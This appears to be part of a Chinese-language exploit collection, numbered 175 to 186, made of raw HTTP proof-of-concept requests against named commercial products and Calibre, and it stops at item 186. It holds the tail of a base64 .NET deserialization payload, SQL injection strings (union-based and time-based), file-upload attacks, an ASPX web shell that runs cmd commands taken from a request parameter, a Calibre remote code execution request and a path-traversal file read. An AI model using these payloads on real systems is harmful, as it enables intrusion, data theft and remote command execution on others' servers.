XVlc3QAU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkAE5hbWVWYWx1ZUNvbGxlY3Rpb24
AZ2V0X0hlYWRlcnMAZ2V0X0l0ZW0AU3RyaW5nAENvbmNhdABzZXRfQXJndW1lbnRzAHNldF9SZ
WRpcmVjdFN0YW5kYXJkT3V0cHV0AHNldF9SZWRpcmVjdFN0YW5kYXJkRXJyb3IAc2V0X1VzZVNoZ
WxsRXhlY3V0ZQBTdGFydABTeXN0ZW0uSU8AU3RyZWFtUmVhZGVyAGdldF9TdGFuZGFyZE91dHB1
dABUZXh0UmVhZGVyAFJlYWRUb0VuZABXcml0ZQBGbHVzaABFbmQARXhjZXB0aW9uAAAAD2MA
bQBkAC4AZQB4AGUAAAdjAG0AZAAABy8AYwAgAAAAAAA2IZXU/G1oT7AM+EyvNpdOAAi3elxWG
TTgiQMgAAEEIAEBCAiwP19/EdUKOgQAABIRBCAAEhUEIAASGQQgABIhBCABAQ4EIAASJQQgABIpB
CABDg4FAAIODg4EIAEBAgMgAAIEIAASMQMgAA4IBwQSERIdDg4IAQAIAAAAAAAeAQABAFQCFldy
YXBOb25FeGNlcHRpb25UaHJvd3MBAAAAuCYAAAAAAAAAAAAAziYAAAAgAAAAAAAAAAAAAAA
AAAAAAAAAAAAAMAmAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAA/yUAIAA
QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABg
AAIAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQ
AAATAIAAAAAAAAAAAAAATAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAAL0E7
/4AAAEAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAIAAAAAAAAAAAAAAAAAAAABEAA
AAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpA
G8AbgAAAAAAAACwBKwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAIgBAAAB
ADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAb
wBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuA
DAALgAwAAAAPAANAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABrAHcAdQB3AGEAYwBw
AHcALgBkAGwAbAAAAAAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAA
AEQADQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABrAHcAdQB3AGEAYwB
wAHcALgBkAGwAbAAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAA
MAAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvA
G4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAACAAAAwAAADgNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAEDwAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwA
AAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBiEAAAD+AVN5c3RlbS5MaW5xLkVud
W1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkJ5dGVbXSwgbXNjb
3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzd
hNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJza
W9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0
ZTA4OV1dBAAAAAYiAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1
dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAQAAAABwAAAAkDAAAACgkkAA
AACggIAAAAAAoICAEAAAABEQAAAA8AAAAGJQAAAPUCU3lzdGVtLkxpbnEuRW51bWVyYWJsZStX
aGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJs
eSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb
2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lc

mFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bm
V1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lv
bj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGU
wODldXQQAAAAJIgAAABASAAAABwAAAAkEAAAACgkoAAAACggIAAAAAAoICAEAAAABEwAAAA8
AAAAGKQAAAN8DU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdG
VyYXRvcmAyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0
ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJs
aWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsI
EN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3Rl
bS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYi
wgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU
2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCB
QdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFAAAAAcAAAAJBQAAA
AoJLAAAAAoICAAAAAAKCAgBAAAAARUAAAAPAAAABi0AAADmAlN5c3RlbS5MaW5xLkVudW1lcm
FibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmV
yaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjA
sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2N
vcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3
N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwg
Q3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIA
AAAQFgAAAAcAAAAJBgAAAAkwAAAACTEAAAAKCAgAAAAACggIAQAAAAEXAAAADwAAAAYyAAA
A7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJhdG9yYDJb
W1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIF
B1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LCBtc2NvcmxpYi
wgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU
2MTkzNGUwODldXQQAAAAJIgAAABAYAAAABwAAAAkHAAAACgk1AAAACggIAAAAAAoICAEAAAA
BGQAAAA8AAAAGNgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvdXJjZQQAA
AAGNwAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgU
HVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYRAaAAAABwAAAAkIAAAACAgAAAAACAgKAA
AACAEACAEACAEACAgAAAAARsAAAAPAAAABjkAAAApU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2
lnbi5EZXNpZ25lclZlcmIEAAAABjoAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9b
mV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAcAAAABQAAAA0CCTsAAAAI
CAMAAAAJCwAAAAEdAAAADwAAAAY9AAAANFN5c3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5u
ZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABj4AAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCw
gQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EB4AAAABAA
AACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAACAAAABkEAAAACUEAAAAEJAAAACJTeX
N0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAw
MwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZ
WZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEoAAAAJAA
AAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAAAAExAAA
AJAAAAAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAAR
CAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAE
dHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1l
dGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdG

lvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BlAAAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW10sI
G1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZ
W49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpY
iwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW3N2E1Yz
U2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkGUw
AAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u
SG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZ
TIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQlTAAAAC
T4AAAAJUgAAAAZWAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQZX
AAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkIAAAACgFEA
AAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSw
gbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlb
j1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFib
GVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1d
HJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj0
0LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW3N2E1YzU2MTkzNGUwO
DldXQk+AAAACgk+AAAACVIAAAAGWwAAAAhHZXRUeXBlcwoBRQAAAEMAAAAJWwAAAAk+AAA
ACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkGXwAAABhTeXN0ZW0uVHlwZVtdIEd
ldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAAtgNTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29sb
GVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlc
nNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5
MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUH
VibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcml
jLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdW
x0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWI
sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM
1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5
JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ
3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GYwAAAA1H
ZXRFbnVtZXJhdG9yCgFHAAAAQwAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5Db2xsZW
N0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQZnAA
AAlAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlw
ZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb
2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0gR2V0RW51bWVyYXRvcigpCAAAAAoBSAAAAEIAAAAGaAA
AAMACU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3J
gMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJh
bCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjA
uMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW3N2E1YzU2MTkzNGUwODldLF
tTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cm
FsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZqAAAAHlN5c3
RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQwAAAlrAAAA
CT4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5Cb29sZWFuIE1v
dmVOZXh0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uQ29s
bGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlc

```
nNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5
MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUH
VibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVy
c2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzN
GUwODldXQk+AAAACgk+AAAABnIAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZ
XJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW
5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQZzAAAAC2dldF9DdXJyZW
50CgFLAAAAQwAAAAlzAAAACT4AAAAJcgAAAAZ2AAAAGVN5c3RlbS5UeXBlIGdldF9DdXJyZW50KC
kGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAEIAAAAGeAAAAMYBU3l
zdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1c
mU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY
3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5V
G9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCT4AAAAKCT4AAAAGegAAABBTeXN0ZW0uQWN0aXZhdG
9yBnsAAAAOQ3JlYXRlSW5zdGFuY2UKAU0AAABDAAAACXsAAAJPgAAAAl6AAAABn4AAAApU3lzd
GVtLk9iamVjdCBDcmVhdGVJbnN0YW5jZShTeXN0ZW0uVHlwZSkGfwAAAClTeXN0ZW0uT2JqZWN0
IENyZWF0ZUluc3RhbmNlKFN5c3RlbS5UeXBlKQgAAAAKAU4AAAAPAAAABoAAAAAmU3lzdGVtLkN
vbXBvbmVudE1vZGVsLkRlc2lnbi5Db21tYW5kSUQEAAAACToAAAAQTwAAAAIAAAAJggAAAgIACA
AAASCAAAAC1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAA
AAAAAAACAcHAgICAgICAgITE9J07irREYv7AKDJDyb3Cws=</unitData>
      </AddUnitSave>
   </soap:Body>
</soap:Envelope>
```

175.章管家-listUploadIntelligent-sql 注入

```
POST /app/message/listUploadIntelligent.htm?token=dingtalk_token&person_id=1&unit_id=1
HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36

pageNo=1&pageSize=20&keyWord=&startDate=&endDate=&deptIds=&type_id=&is_read=-1
union select md5(12345),2,3,md5(12345),5,6,7,8,9,10,11,12 --
```

176.AspCMS 系统 commentList.asp 存在 SQL 注入漏洞

```
GET
/plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserI
D,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user HTTP/1.1
```

```
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0)  Gecko/20100101 Firefox/122.0
```

177.Mtab 书签导航程序存在 SQL 注入漏洞

```
POST /LinkStore/getIcon HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json

{"url":"'XOR(if(now()=sysdate(),sleep(10),0))XOR'"}
```

178.大华 DSS 系统 group_saveGroup 存在 SQL 注入漏洞

```
GET /emap/group_saveGroup?groupName=1'%20and%202333=2333%20and%20'hami'='hami&groupDesc=1 HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
```

179.H3C-SecPath 下一代防火墙 local_cert_delete_both 存在任意文件上传漏洞

```
POST /webui/?g=local_cert_delete_both HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Content-Type: multipart/form-data; boundary=ed63f728755e4a2f90d094ec09b0ed9a

--ed63f728755e4a2f90d094ec09b0ed9a
Content-Disposition: form-data; name="submit_post"
```

```
local_cert_import
--ed63f728755e4a2f90d094ec09b0ed9a
Content-Disposition: form-data; name="key_file_name"; filename="QyFlQF.php"
Content-Type: text/plain

<?php echo md5('OmwiBdiyupqeAlMJ');@unlink(__file__);?>
--ed63f728755e4a2f90d094ec09b0ed9a--
```

180.同享人力资源管理系统 hdlUploadFile.ashx 存在文件上传漏洞

```
POST /MobileService/Web/Handler/hdlUploadFile.ashx?puser=../../../Style/rce HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/94.0.2558.72 Safari/537.36
Content-Type: multipart/form-data;boundary
=---------------------------142851345723692939351758052805
Connection: close

-----------------------------142851345723692939351758052805
Content-Disposition: form-data; name="Filedata"; filename="rce.aspx"
Content-Type: text/plain

<%@ Page Language="Jscript" validateRequest="false" %>
<%
var c=new System.Diagnostics.ProcessStartInfo("cmd");
var e=new System.Diagnostics.Process();
var out:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;
c.RedirectStandardError=true;
e.StartInfo=c;
c.Arguments="/c " + Request.Item["cmd"];
e.Start();
out=e.StandardOutput;
EI=e.StandardError;
e.Close();
Response.Write(out.ReadToEnd() + EI.ReadToEnd());
System.IO.File.Delete(Request.PhysicalPath);
Response.End();%>
-----------------------------142851345723692939351758052805--
```

181.中成科信票务管理系统 TicketManager.ashx SQL 注入漏洞

```
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

Method=GetZoneInfo&solutionNo=1'%3bDECLARE+%40x+CHAR(9)%3bSET+%40x%3d0x303a303a35%3bWAITFOR+DELAY+%40x--
```

182.唸星云-数字化餐饮服务系统存在多处 SQL 注入漏洞（N day）

```
- not_finish.php 存在 SQL 注入漏洞
GET /logistics/home_warning/php/not_finish.php?do=getList&lsid=(SELECT+(CASE+WHEN+(6192=6193)+THEN+''+ELSE+(SELECT+9641+UNION+SELECT+2384)+END)) HTTP/1.1
Host: {{Hostname}}

- stock.php 存在 SQL 注入漏洞
GET /logistics/home_warning/php/stock.php?do=getList&lsid=%28SELECT+%28CASE+WHEN+%2811%3D12%29+THEN+%27%27+ELSE+%28SELECT+7700+UNION+SELECT+3389%29+END%29%29 HTTP/1.1
Host: {{Hostname}}

- shelflife.php 存在 SQL 注入漏洞
GET /logistics/home_warning/php/shelflife.php?do=getList&lsid=(SELECT+(CASE+WHEN+(6193=6193)+THEN+''+ELSE+(SELECT+9641+UNION+SELECT+2384)+END)) HTTP/1.1
Host: {{Hostname}}
```

183.赛蓝企业管理系统 GetImportDetailJson SQL 注入

```
GET /BaseModule/ExcelImport/GetImportDetailJson?ImportId=1%27%3bWAITFOR+DELAY+%270%3a0%3a5%27--&IsShow=1 HTTP/1.1
Host: {{Hostname}}
```

184.Calibre /cdb/cmd/list 远程代码执行（CVE-2024-6782）

```
POST /cdb/cmd/list HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

[["template"], "", "", "", 1, "python:def evaluate(a, b):\n import subprocess\n try:\n    return subprocess.check_output(['cmd.exe', '/c', 'whoami']).decode()\n except Exception:\n    return subprocess.check_output(['sh', '-c', 'whoami']).decode()"]
```

185.Calibre /cdb/cmd/export 任意文件读取（CVE-2024-6781）

```
POST /cdb/cmd/export HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

["extra_file", 1, "..\\..\\..\\Calibre Settings\\gui.json", ""]
```

186.金斗云 HKMP 智慧商业软件 queryPrintTemplate 存在 SQL 注入漏洞

```
